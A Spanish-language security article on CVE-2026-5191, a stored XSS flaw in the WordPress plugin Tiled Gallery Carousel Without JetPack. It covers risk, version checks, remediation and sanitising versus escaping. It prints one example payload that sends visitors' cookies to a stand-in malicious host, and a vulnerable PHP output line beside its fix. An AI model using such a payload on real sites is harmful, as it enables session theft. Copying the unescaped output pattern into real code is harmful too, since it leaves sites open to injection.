CVE-2026-5191 es una vulnerabilidad de tipo Stored XSS en el plugin Tiled Gallery Carousel Without JetPack para WordPress, presente en todas las versiones hasta la 3.1 incluida. Cualquier atacante autenticado con acceso contributor o superior puede inyectar código JavaScript en el parámetro data-image-title, y ese script se ejecuta de forma automática en el navegador de cualquier visitante que cargue la página afectada. Publicada por INCIBE-CERT y Wordfence Threat Intelligence, con puntuación CVSS v3.1 de 5.4 bajo el vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
En 30 segundos
- Plugin afectado: Tiled Gallery Carousel Without JetPack, versiones hasta 3.1 incluida
- Tipo de ataque: Stored XSS vía parámetro
data-image-title— sin sanitización ni escape de output - Quién puede explotar: cualquier usuario autenticado con nivel contributor o superior (que no es un umbral alto, a decir verdad)
- Ejecución: automática — el payload se dispara en el navegador de cualquier visitante que cargue la página, sin click
- CVSS v3.1: 5.4 Medium — revisá tus plugins ahora y aplicá mitigación
Resumen ejecutivo: CVE-2026-5191 en WordPress
El plugin Tiled Gallery Carousel Without JetPack es una alternativa popular al módulo de galería de JetPack que usan miles de sitios WordPress. Su función es simple: mostrar imágenes en un carrusel con efecto tile. Nada llamativo. Nada crítico. Justamente el tipo de plugin que instalás una vez y te olvidás.
Y ahí está el problema.
Según el reporte publicado por Wordfence Threat Intelligence, el plugin no sanitiza correctamente la entrada del parámetro data-image-title y no escapa el output antes de renderizarlo en el HTML de la página. Cualquier usuario con permisos de contributor o más puede crear o editar una galería con un payload inyectado, ese payload queda almacenado en la base de datos, y cuando alguien visita esa página el script se ejecuta. Sin click, sin ingeniería social adicional.
La puntuación CVSS 5.4 puede generar cierta distorsión: «Medium, nada urgente». Ese razonamiento ignora que Stored XSS en WordPress puede derivar en robo de sesión de administrador, inyección de malware o redirección silenciosa a phishing. El número no pondera tu contexto específico.
¿Por qué este plugin es vulnerable?
El fallo está en cómo el plugin procesa el atributo data-image-title al construir el HTML del carrusel. La línea problemática está documentada en el repositorio oficial de WordPress.org: jetpack-carousel.js, línea 1057.
El patrón de error es clásico y se ve más seguido de lo que el ecosistema de plugins quiere admitir. El código toma el título de la imagen, posiblemente aplica sanitize_text_field() para limpiar la entrada (bien), pero al imprimir ese valor como atributo HTML no usa esc_attr() (error). Sin ese escape, cualquier carácter especial HTML, comillas incluidas, llega al navegador sin transformar. El navegador lo interpreta como código ejecutable, no como texto (y se nota).
La distinción importa para cualquiera que mantenga plugins propios o código custom: sanitizar limpia la entrada para guardarla de forma segura. Escapar prepara el dato para el contexto de salida específico: HTML, JavaScript, SQL, URL. Son dos pasos distintos con propósitos distintos. Hacer uno no reemplaza al otro.
Quién puede explotarla y cómo
Ponele que tu sitio tiene contribuidores externos: freelancers que cargás como autores, redactores que suben su propio contenido, o simplemente cuentas que creaste en algún momento y dejaste activas (spoiler: esas cuentas olvidadas son exactamente lo que un atacante busca). Si alguna tiene nivel contributor, tiene suficiente para explotar CVE-2026-5191. Ya lo cubrimos antes en mejor WAF para proteger WordPress.
El método es directo. Al crear o editar una galería de imágenes, el atacante introduce un payload JavaScript en el campo correspondiente al título de imagen. Un ejemplo básico: <script>document.location='https://sitio-malicioso.com/?c='+document.cookie</script> embebido en ese atributo. El script queda almacenado en la base de datos. Cuando cualquier visitante, o un admin logueado, carga esa página, el payload se ejecuta en su navegador.
¿Requiere algún click especial por parte de la víctima? No. Esa es la diferencia clave entre Stored XSS y Reflected XSS: en el Reflected tenés que convencer a alguien de hacer click en un link malicioso; en el Stored el payload ya está en la página y se dispara solo con cargarla. Mucho más silencioso, mucho más escalable.
Riesgo real para tu sitio WordPress
El riesgo concreto depende de quién tiene acceso contributor en tu instalación. Si los únicos que crean galerías son admins de confianza, el vector práctico es bajo. Pero si tenés usuarios externos, cuentas inactivas, o si alguna credencial fue comprometida, el escenario cambia de forma considerable.
Las consecuencias de un XSS almacenado que se ejecuta en la sesión de un admin incluyen: robo de cookies de sesión para secuestrar la cuenta sin contraseña, keylogging de credenciales ingresadas en el panel, redirección silenciosa de visitantes a páginas de phishing, instalación de backdoors via llamadas AJAX autenticadas al propio WordPress REST API. Todo sin que el admin note nada durante su visita habitual al sitio.
Y si el payload solo alcanza navegadores de visitantes comunes, sin sesión de admin: igual hay daño. Robo de datos de formularios, redirección a malware, afectación de la reputación del dominio en Google Safe Browsing. No es un escenario catastrófico en abstracto, pero sí es el tipo de incidente que aparece semanas después, cuando el daño ya está hecho.
Cómo verificar si usás el plugin vulnerable
El proceso es rápido. Desde el panel de WordPress, ingresá a Plugins > Installed Plugins y buscá «Tiled Gallery Carousel Without JetPack». Si aparece y la versión que figura es 3.1 o inferior, tu sitio está expuesto a la CVE-2026-5191 WordPress vulnerabilidad. Relacionado: base de datos completa de CVE.
Alternativa por acceso al servidor: abrí el archivo /wp-content/plugins/tiled-gallery-carousel-without-jetpack/tiled-gallery-carousel-without-jetpack.php y fijate en el encabezado. La línea Version: te da el número. Si tu hosting tiene un panel de administración de archivos, podés revisarlo desde ahí sin necesidad de FTP. Si usás un alojamiento WordPress gestionado como donweb.com con actualizaciones automáticas habilitadas, verificá si el plugin entró en el último ciclo de actualización.
Si Wordfence está activo en tu sitio, revisá Wordfence > Scan y corré un escaneo manual. Puede que ya hayas recibido una alerta en el panel de amenazas.
Soluciones: actualizar, reemplazar o desactivar
Tres opciones, cada una con su lógica. La decisión depende de si existe parche disponible y de qué tan crítico es el plugin para tu sitio.
| Opción | Cuándo aplicarla | Ventaja principal | Lo que no resuelve |
|---|---|---|---|
| Actualizar a v3.2+ | Si existe parche oficial disponible | Mantenés la funcionalidad sin migración | No limpia payloads ya inyectados en la base de datos |
| Reemplazar por alternativa | Si no hay parche o el plugin tiene poco uso | Eliminás la superficie de ataque, posible mejora funcional | Requiere migrar galerías existentes y revisar posts |
| Desactivar y borrar | Si la galería no es crítica para el sitio | Rápido, cero riesgo residual del plugin | Las galerías dejan de funcionar hasta que resolvés |

Antes de cualquier acción, hacé esto primero: revisá los posts que usan galerías del plugin y buscá en el HTML almacenado atributos data-image-title con contenido sospechoso. Actualizar el código del plugin no limpia lo que ya está en la base de datos. Si alguien inyectó un payload antes de que actualizaras, ese script sigue ahí.
Para reemplazo, el bloque Gallery nativo de WordPress, disponible desde el editor Gutenberg, cubre la mayoría de los casos. Para galerías más elaboradas, Envira Gallery o Modula son opciones bien mantenidas con historial de seguridad consistente. Para un sitio que solo necesita un carrusel simple, el bloque nativo alcanza y sobra.
La diferencia entre sanitización y escaping (y por qué le importa a tu código)
Esto le interesa a cualquiera que tenga código custom o desarrolle plugins propios, aunque sean pequeños.
El error en CVE-2026-5191 es textbook y se repite en plugins mal mantenidos: el desarrollador aplica sanitize_text_field() a la entrada (correcto), pero al imprimir el valor en un atributo HTML no envuelve con esc_attr() (error grave que lleva a esto). El resultado práctico: Te puede servir nuestra cobertura de herramientas de escaneo de malware.
Código vulnerable: echo '<img data-image-title="' . $title . '">';
Código correcto: echo '<img data-image-title="' . esc_attr( $title ) . '">';
La función esc_attr() convierte caracteres como comillas dobles, < y > en sus entidades HTML, de modo que el navegador los trata como texto plano y no como código ejecutable. Sin ese paso, cualquier comilla dentro del valor rompe el atributo y permite inyectar HTML arbitrario.
WordPress tiene funciones de escape específicas para cada contexto de salida, y mezclarlas o ignorarlas es tan problemático como no usarlas: esc_html() para contenido entre etiquetas, esc_attr() para valores de atributos, esc_url() para URLs, esc_js() para JavaScript inline. Cada contexto tiene su función, cada función hace una cosa y la hace bien. Lo complementamos en laboratorio para reproducir vulnerabilidades.
Errores comunes al gestionar esta vulnerabilidad
Error 1: Actualizar el plugin y dar el tema por cerrado. Actualizar corrige el código vulnerable, pero no limpia el contenido ya almacenado en la base de datos. Si alguien inyectó un payload antes del parche, ese script sigue en los posts. La corrección del plugin evita nuevas inyecciones, no elimina las anteriores. Auditá el contenido existente antes de declarar victoria.
Error 2: Descartarlo porque el CVSS dice «solo Medium». La puntuación CVSS mide el vector técnico en abstracto. No pondera cuántos contribuidores tenés, si alguna cuenta fue comprometida recientemente, si el sitio maneja datos sensibles o si tiene tráfico de admins frecuente. Un 5.4 en un e-commerce con sesiones de admin activas es una situación muy diferente a un 5.4 en un blog estático de tres páginas. Esto se conecta con lo que analizamos en vulnerabilidades críticas reportadas recientemente.
Error 3: Desactivar el plugin pero dejarlo instalado en el directorio. Un plugin desactivado sigue presente en /wp-content/plugins/ y puede reactivarse por error, por acceso no autorizado o por una actualización automática mal configurada. Si decidís no usarlo, borralo por completo desde Plugins > Borrar. Código que no está instalado no puede explotarse.
Preguntas Frecuentes
¿Qué es la vulnerabilidad CVE-2026-5191 en WordPress?
CVE-2026-5191 es una vulnerabilidad de Stored Cross-Site Scripting en el plugin Tiled Gallery Carousel Without JetPack para WordPress, presente en versiones hasta la 3.1 inclusive. Permite a usuarios autenticados con nivel contributor o superior inyectar scripts maliciosos vía el parámetro data-image-title; esos scripts se ejecutan en el navegador de cualquier visitante que cargue la página afectada. Fue publicada con puntuación CVSS v3.1 de 5.4 (Medium).
¿Cuál es el riesgo del plugin Tiled Gallery Carousel sin parche?
Sin mitigación aplicada, cualquier usuario con acceso contributor puede almacenar JavaScript malicioso en galerías de imágenes. Ese script se ejecuta automáticamente en todos los visitantes, sin que hagan ningún click. Los riesgos concretos incluyen robo de cookies de sesión de administradores, redirección a phishing, instalación de backdoors y keylogging en el panel de WordPress. El impacto escala significativamente si el payload alcanza una sesión con permisos de admin.
¿Qué versiones del plugin están afectadas?
Según la publicación de INCIBE-CERT y Wordfence, todas las versiones de Tiled Gallery Carousel Without JetPack hasta la 3.1 incluida son vulnerables a CVE-2026-5191. Verificá la versión instalada en tu sitio desde el panel de plugins o desde el encabezado del archivo principal del plugin en /wp-content/plugins/tiled-gallery-carousel-without-jetpack/.
¿Cómo proteger mi sitio WordPress de esta vulnerabilidad?
Las opciones son: actualizar el plugin a una versión mayor a 3.1 si hay parche disponible, reemplazarlo por el bloque Gallery nativo de WordPress o un plugin alternativo bien mantenido, o desactivarlo y borrarlo si no es crítico para el sitio. Antes de actuar, auditá los posts que usan el plugin en busca de payloads ya inyectados, porque actualizar el código del plugin no limpia el contenido almacenado en la base de datos.
En nuestro artículo sobre CVE-2026-5191, cubrimos esto en detalle.
¿El Stored XSS es más peligroso que el Reflected XSS?
En la práctica, sí. El Reflected XSS requiere que la víctima haga click en un link malicioso especialmente construido. El Stored XSS, como en CVE-2026-5191, almacena el payload en la base de datos del sitio y lo ejecuta automáticamente para cualquier visitante que cargue la página. No requiere ingeniería social adicional, es más difícil de detectar y puede afectar a muchos usuarios antes de que alguien lo note.
Conclusión
CVE-2026-5191 es un recordatorio de algo que pasa más seguido de lo que el ecosistema de plugins quiere admitir: un error puntual de escape en un atributo HTML convierte un plugin inocuo en un vector de ataque persistente. El fallo técnico es documentado y simple. La corrección también es simple. El problema es que los plugins con baja visibilidad, los que instalás una vez y no tocás más, acumulan exactamente este tipo de deuda de seguridad sin que nadie lo note hasta que alguien la cobra.
Si usás Tiled Gallery Carousel Without JetPack en versión 3.1 o anterior, revisá el estado del parche, auditá el contenido existente, y aplicá la mitigación que corresponda a tu contexto. Y si tenés código custom que imprime valores en atributos HTML, revisá que cada salida pase por esc_attr(). No es trabajo de horas, es el tipo de revisión que evita que tu sitio aparezca en la próxima nota como este.